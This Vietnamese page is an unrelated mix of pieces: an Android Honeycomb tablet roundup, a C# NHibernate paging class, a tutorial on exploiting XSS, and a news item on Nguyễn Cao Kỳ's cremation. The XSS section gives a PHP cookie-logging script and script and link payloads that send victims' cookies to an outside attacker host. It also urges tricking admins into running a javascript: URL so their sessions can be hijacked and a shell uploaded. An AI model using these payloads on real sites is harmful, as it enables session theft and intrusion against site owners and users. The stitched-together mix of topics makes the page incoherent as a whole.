Những máy tính bảng Android tốt nhất

Một trong những ưu điểm để máy tính bảng Android vượt qua iPad là phần cứng độc lập, người dùng có thể truy cập hệ điều hành thông qua nhiều máy tính bảng khác nhau.

Kể từ khi hệ điều hành tối ưu cho máy tính bảng Android 3.1 (Honeycomb) ra mắt hồi đầu năm 2011, người tiêu dùng đã có những lựa chọn thay thế iPad đa dạng hơn. Máy tính bảng chạy Android mang lại trải nghiệm khá tốt, nhưng rắc rối lớn nhất là nền tảng này thiếu trầm trọng các ứng dụng từ bên thứ 3. Dù đã ra mắt vài tháng, hiện tại lượng ứng dụng Android cho máy tính bảng chỉ khoảng mức 250, trong khi App Store của Apple đưa ra tới hơn 90.000 lựa chọn. Thậm chí HP TouchPad, mới xuất hiện đầu tháng 7, cũng đã có nhiều ứng dụng hơn các máy tính bảng Honeycomb.

Tuy nhiên, bản thân hệ điều hành rất vững chãi. Với gốc rễ của Google, đây là hệ điều hành máy tính bảng có cấu hình tốt nhất, đa tác vụ với hệ thống thông báo xuất sắc, tích hợp các dịch vụ Google như Gmail, Google Chat, Google Maps. Ngoài ra, các thiết bị này còn hỗ trợ cả video Flash.

Dưới đây là những máy tính bảng chạy hệ điều hành Honeycomb xuất sắc nhất.

1. Acer Iconia Tab A500 (449 USD, 16GB, Wi-Fi)

ImageView1

Ưu điểm: Giá dễ chịu. Bộ xử lí 2 nhân Zippy Tegra 2. Màn hình phân giải cao. Giao tiếp USB, HDMI. Các ứng dụng giải trí chuyên biệt và tính năng tốt.

Nhược điểm: Khá lớn và nặng. Không có kết nối 3G hay 4G. Máy ảnh trước không ở vị trí tối ưu. Honeycomb vẫn chưa hoàn thiện.

Kết luận: Iconia Tab A500 có những điểm mạnh tương tự và yếu riêng so với các đối thủ trực tiếp, nhưng mức giá 449 USD (~9.163.000 đ) dễ chịu hơn so với những mẫu máy khác.

2. Asus Eee Pad Transformer TF101 (399 USD/ bản 16GB, Wi-Fi và 499 USD/bản 32GB, Wi-Fi)

ImageView2

Ưu điểm: Máy tính bảng Honeycomb có giá phải chăng nhất. Bộ xử lí 2 nhân Speedy Nvidia Tegra 2. Các tính năng đa tác vụ, email, thông báo lịch mạnh mẽ. Cổng xuất HDMI. Bàn phím rời 150 USD khi được kết nối sẽ biến Eee Pad thành máy tính xách tay hoàn chỉnh.

Nhược điểm: Giao diện rối mắt. Bàn phím ảo gõ kí tự không tốt lắm.

Kết luận: Asus Eee Pad Transformer TF101 phân biệt với các thiết bị Honeycomb khác nhờ giá cạnh trnah và phụ kiện tùy chọn biến nó thành máy tính xách tay mạnh mẽ.

3. Motorola Xoom (499 USD/bản 32GB, Wi-Fi; 599 USD/bản 32GB, Wi-Fi + 3G; 799 USD/ bản 32GB, Wi-Fi + 3G, không hợp đồng)

ImageView3

Ưu điểm: Là thiết bị đầu tiên được hỗ trợ hệ điều hành Honeycomb Flash chuyên dụng cho máy tính bảng. Xử lí nhanh. Màn hình cảm ứng nhạy và đẹp. Cổng giao tiếp HDMI với máy tính/ti-vi.

Nhược điểm: Giao diện có vẻ hơi rắc rối. Không có khe cắm thẻ SD như hứa hẹn. Kho ứng dụng Android Market còn khá ít.

Kết luận: Motorola Xoom cung cấp bởi nhà mạng Verizon Wireless là mẫu máy tính bảng khá hoàn thiện với hỗ trợ Flash, nhưng tại thời điểm này không thể so sánh với iPad 2 của Apple về kho ứng dụng.

4. Samsung Galaxy Tab 10.1 (499,99 USD/ bản 16 GB, Wi-Fi; 599, 99 USD/ bản 32GB, Wi-Fi)

ImageView5

Ưu điểm: Máy tính bảng mỏng nhất hiện nay. Màn hình HD 10.1-inch siêu nét. Hệ điều hành Honeycomb 3.1 cải thiện tính năng đa tác vụ, hỗ trợ Flash, trải nghiệm người dùng khá tốt. Đi kèm tai nghe – khá hiếm gặp với các máy tính bảng.

Nhược điểm: Samsung dự định tùy chỉnh hệ điều hành, có thể giảm tốc độ cập nhật trên Android trong tương lai. Kho ứng dụng còn khiêm tốn. Xem video trực tuyến chập chờn ngay cả với tín hiệu Wi-Fi mạnh.

Kết luận: Cho tới khi Samsung tung ra giao diện người dùng đã tùy chỉnh, chúng ta mới thực sự biết sẽ nhận được gì.

5. T-Mobile G-Slate với Google (LG) (599 USD/ bản 32GB, Wi-Fi + 3G)

ImageView6

Ưu điểm: Máy tính bảng kết nối 4G đầu tiên. Bộ xử lí Tegra 2. Màn hình HD sắc nét, cổng xuất HD. Hiển thị 3D (kính 3D đi kèm). Mức giá dễ chịu với bộ nhớ 32GB. Giao diện người dùng trực quan. 2 máy ảnh trước, sau. Video chat.

Nhược điểm: Màn hình mặc định của Honeycomb có vẻ hơi lộn xộn. Bản Flash 10.2 thử nghiệm còn nhiều lỗi nhỏ. Máy ảnh phía trước không trực diện người dùng. Thỉnh thoảng tự khởi động khi máy ở chế độ Idle. Kho ứng dụng “hẻo”.

Kết luận: Nhắm tới khách hàng Motorola Xoom: T-Mobile G-Slate với Google (LG) với thiết kế nhỏ gọn hơn và tính năng hiển thị 3D.

6. Toshiba Thrive (429,99 USD/ bản 8GB, Wi-Fi; 479,99 USD/ bản 16GB, Wi-Fi; 579,99USD/ bản 32GB, Wi-Fi)

ImageView7

Ưu điểm: Tích hợp cổng USB, mini-USB, HDMI, khe đọc thẻ nhớ SDXC. Pin có thể tháo rời để thay thế. Hệ điều hành Honeycomb thiết kế khá đẹp mắt, đa tác vụ tốt.

Nhược điểm: Kích thước khá cồng kềnh. Giá “chát”.

Kết luận: Với các cổng giao tiếp đầy đủ và pin di động, Toshiba Thrive phù hợp với giới doanh nhân nhất trong số các máy tính bảng Honeycomb. Nhưng trong một thế giới mà kích thước mảnh dẻ là rất quan trọng, vẻ ngoài cồng kềnh sẽ làm mất điểm Thrive.

Phân trang trong Nhibernate

Đây là lớp giúp phân trang trong Nhibernate với Lớp T

public abstract class Paging<T>
   {
      public IList<T> GetPagedData(int page, int pageSize, out long count, Order oder, params ICriterion[] criterion)
      {
          IMultiCriteria multiCriteria  = NHibernateHelper.CurrentSession.CreateMultiCriteria();
          ICriteria criteria1 = NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));
          ICriteria criteria2 =
              NHibernateHelper.CurrentSession.CreateCriteria(typeof (T));//.SetProjection(Projections.RowCountInt64());
          foreach (var item in criterion)
          {
              criteria1.Add(item);
              criteria2.Add(item);
          }
          criteria2.SetProjection(Projections.RowCountInt64());
          criteria1.AddOrder(oder);         
          multiCriteria.Add(criteria1);
          multiCriteria.Add(criteria2);
         // page = page > 0 ? page : 1;
          criteria1.SetFirstResult(page * pageSize).SetMaxResults(pageSize);          
          IList result = multiCriteria.List();
          IList<T> all = (from object o in (IList) result[0] select (T) o).ToList();
          count = (long)((IList)result[1])[0];
          return all;
      }
   }

Lớp NHibernateHelper

public sealed  class NHibernateHelper
    {
      private static ISessionFactory factory = null;
      static NHibernateHelper()
        {
            Configuration cfg = new Configuration();
            cfg.Configure();
            factory = cfg.BuildSessionFactory();
        }

        public static ISession CurrentSession
        {
            get
            {
                if(factory==null)
                {
                    var configuration = new Configuration();
                    configuration.Configure();
                    factory = configuration.BuildSessionFactory();
                }
                return factory.OpenSession();
            }
        }
        public static void CloseSession()
        {
            factory.Close();
        }
    }

Chú ý : đối với hệ quản trị Mysql không hỗ trợ MultiCriteria ta có thể viết lại lớp Paging như sau :

public abstract class Paging<T>
   {

    public IList<T> GetPagedData(int page, int pageSize, out long count, Order oder, params ICriterion[] criterion)
        {
           // IMultiCriteria multiCriteria = NHibernateHelper.CurrentSession.CreateMultiCriteria();
            ICriteria criteria1 = NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));
            ICriteria criteria2 =
                NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));//.SetProjection(Projections.RowCountInt64());
            foreach (var item in criterion)
            {
                criteria1.Add(item);
                criteria2.Add(item);
            }
            criteria2.SetProjection(Projections.RowCountInt64());
            criteria1.AddOrder(oder);
           // multiCriteria.Add(criteria1);
           // multiCriteria.Add(criteria2);
            criteria1.SetFirstResult(page * pageSize).SetMaxResults(pageSize);
            count = long.Parse(criteria2.List()[0].ToString());
            return   criteria1.List<T>();
           // IList result = multiCriteria.List();
           // IList<T> all = (from object o in (IList)result[0] select (T)o).ToList();
           // count = (long)((IList)result[1])[0];
           // return all;
        }
    }

Khai thác lỗi xss thế nào?

Lỗi xss là lỗi cho phép thực thi trái phép script trái phép trên client người dùng có thể tham khảo thêm tại đây Cross Site Scripting

thường thì trước kìa tại hạ quậy phá cho phép thực thi câu lệnh

<script>

window.location=’”http:///xxxx.yyy”;

</script>

Trong đó http:///xxxx.yyy là 1 trang tươi mát nào đó Winking smile mục đích là cho admin giải trí trong những lúc mệt mỏi Open-mouthed smile

Bây giờ gặp site lổi tại hạ không dại gì làm thế nữa, vì làm thế chả làm được gì mà còn giúp nó fix bug nè, rồi giúp nó biết thêm mấy trang tươi mát của mềnh nữa Smile

Khi gặp site lỗi xss vấn đề bây giờ là lấy cookie của admin Smile, sau đó đăng nhập với vai trò là admin rồi thích làm gì thì làm :”>

để test site có lấy được cookie toàn vẹn hay không chúng ta thử test bằng cách gõ vào address câu lệnh đơn giản như sau :

javascript:alert(document.cookie);

Ví dụ mình lấy trang http://thamhue.com/forum.php chúng ta đăng nhập vào và dùng firebug để xem cookie như hình

image

chúng ta thực hiện câu lệnh trên và so sánh cookie của firebug

image

Hey ya, nó khác rồi, không khai thác được, nếu nó lỗi xss thì cho nó về trang tươi mát cho bỏ tức Sad smile

Chúng ta tìm site khác. giả sử có 1 site mô đó lỗi xss và lấy được cooki, chúng ta sẽ viết 1 script cho return về trang của mình để lưu cookie xong rồi return nó về trang nào đó tùy mình, mục đích là lấy được cooki thôi mà Sad smile

Giả sử mình có một host free php đi, chúng ta vào tạo 1 file có tên là cc.php và 1 file text có tên là cookie.txt

file cc.php

<?php
$myFile = "cookie.txt";
$fh = fopen($myFile, ‘a+’);
$bien=$_REQUEST[‘cc’].":".$_REQUEST[‘url’]."\n";
fwrite($fh,$bien);
fclose($fh);
echo("<script>window.location=’".$_REQUEST[‘url’]."’;</script>");
?>

file cooki.txt để trống và checkmod cho phép đọc&ghi Sad smile

ví dụ tại hạ đã làm và đã upload lên file có địa chỉ

http://vitinh2nd.com/cc.php

http://vitinh2nd.com/cookie.txt

Khi gặp site http://xyz.xxx lỗi xss ta tìm viết đoạn script sau :

<script>

window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

</script>

Giải thích : khi admin vào và thực thi script này thì sẽ chạy đến trang của mềnh rồi save cooki vào file cookie.txt rồi return lại trang gốc, mục đích lưu url để biết domain nào mà khai thác, thứ hai là để thằng admin nào đó gà nó tưởng site bị lỗi gì :”>

Vậy là xong, vậy sau khi lấy được cooki mình làm thế nào để đăng nhập :”>

các bạn có thể dùng addon Cookie Manager của Firefox để edit và thêm các trường của cooki sau đó F5 rồi đăng nhập Smile như hình

image

 

Kết luận : có phải xss là cách duy nhất để lấy cookie? cũng có nhiều cách ví dụ như những các sau:

ví dụ vào một trang mà có editor có cho phép sửa mã html các bạn có thể viết 1 bài dài ca ngợi linh tinh gì đó rồi chèn vào cái link dạng như vào đây xem tiếp

<a href=”#” onclick=”javascript:window.location=’http://vitinh2nd.com/cc.php?cc=’+document.cookie+’&url=http://xyz.xxx’;” >Click vào đây để xem chi tiết</a>

Nó click vào thì thực hiện câu lệnh trên Smile

Cách thứ hai dùng kỹ thuật chém gió lừa tình Smile cách này hay có thể xem tuyệt kỹ chém gió tại bài : https://tranphuochung.wordpress.com/2011/07/21/chem-gio-la-gi/

Dụ victim cái này phải chém cho hay : ví dụ như anh/chị gõ lệnh này trên trình duyệt

javascript:window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

sẽ hack được tiền hay đại loại để xem lỗi hay gì gì thế tùy vào người hót Smile

vậy lỗi xss này có thể khai thác bằng cách đăng nhập vào admin sau đó up shell lên sever rồi lấy dữ liệu của victim Smile

Cách khắc phục thì mấy bác có thể search google, trình độ em chỉ biết có thế có gì sai mấy bác đừng có chém em mà tội Sad smile

Tro cốt cựu Phó tổng thống Nguyễn Cao Kỳ sẽ được đưa về Mỹ

Hỏa táng ngày 29 Tháng Bảy tại Kuala Lumpur

KUALA LUMPUR (NV) – Tro cốt cựu Phó tổng thống Nguyễn Cao Kỳ sẽ được đưa về Mỹ, sau lễ hỏa táng được tổ chức tại Kuala Lumpur, Malaysia, theo cáo phó của gia đình công bố hôm Chủ Nhật.

HKG2004011569397

Ông Nguyễn Cao Kỳ. (Hình: Hoàng Ðình Nam/AFP/Getty Images)

ựu thiếu tướng Nguyễn Cao Kỳ, từng là tư lệnh Không Quân, thủ tướng và phó tổng thống Việt Nam Cộng Hòa, qua đời lúc 3 giờ sáng Thứ Sáu giờ địa phương, tại Kuala Lumpur, thọ 80 tuổi.

Cáo phó mang chữ ký bà quả phụ Nguyễn Cao Kỳ, nhũ danh Lê HoangKim Nicole, cùng với chị ông Kỳ, bốn người con trai, hai người con gái và các cháu. Bản cáo phó cho biết “linh cữu người quá cố hiện được quàn tại nhà quàn Nirvana Memorial Centre, Kuala Lumpur,” với chương trình tang lễ như sau:

Lễ Phát Tang: Thứ Hai, 25 tháng 7.

Ngày thăm viếng dành riêng cho gia đình: 26 tháng 7.

Ngày thăm viếng dành cho các bạn bè, thân hữu: 27 và 28 tháng 7.

Lễ Hỏa Táng: 29 Tháng 7.

Ông Nguyễn Cao Kỳ sinh năm 1930 tại Sơn Tây, nhập ngũ và qua khóa huấn luyện sĩ quan quân đội quốc gia Việt Nam ở khóa Nam Định năm 1952, rồi được tuyển đưa đi học phi công ở Marrakech, Morocco.

Sau cuộc đảo chính 1963, ông được thăng cấp thiếu tướng, giữ chức vụ Tư Lệnh Không Quân. Tướng Kỳ nắm chức vụ chủ tịch Ủy Ban Hành Pháp Trung Ương, tương đương thủ tướng, giữa năm 1965. Đến năm 1967, ông đắc cử Phó Tổng Thống trong liên danh tướng Nguyễn Văn Thiệu và phục vụ tới năm 1971.

Năm 1975, khi quân đội Bắc Việt tiến chiếm miền Nam, tướng Nguyễn Cao Kỳ rời khỏi Sài Gòn trước giờ chót bằng trực thăng ra tàu Mỹ ngoài khơi Vũng Tàu.

Năm 2004 ông loan báo trở về thăm Việt Nam, rồi tiếp theo cổ vũ và môi giới cho việc đầu tư của các công ty Hoa Kỳ vào làm ăn ở Việt Nam. Việc làm này khiến ông bị nhiều người chỉ trích là thỏa hiệp với cộng sản.

Cựu Phó Tổng thống Nguyễn Cao Kỳ có ba người vợ. Vợ thứ nhất của ông là một phụ nữ Pháp, ông lấy trong thời gian được huấn luyện phi công ở Bắc Phi. Sau cuộc đảo chính năm 1963 ông kết hôn với một nữ tiếp viên Air Vietnam, bà Đặng Tuyết Mai. Người vợ thứ ba là bà Lê HoangKim Nicole. (Đ.D.)

Nguồn : Người Việt Online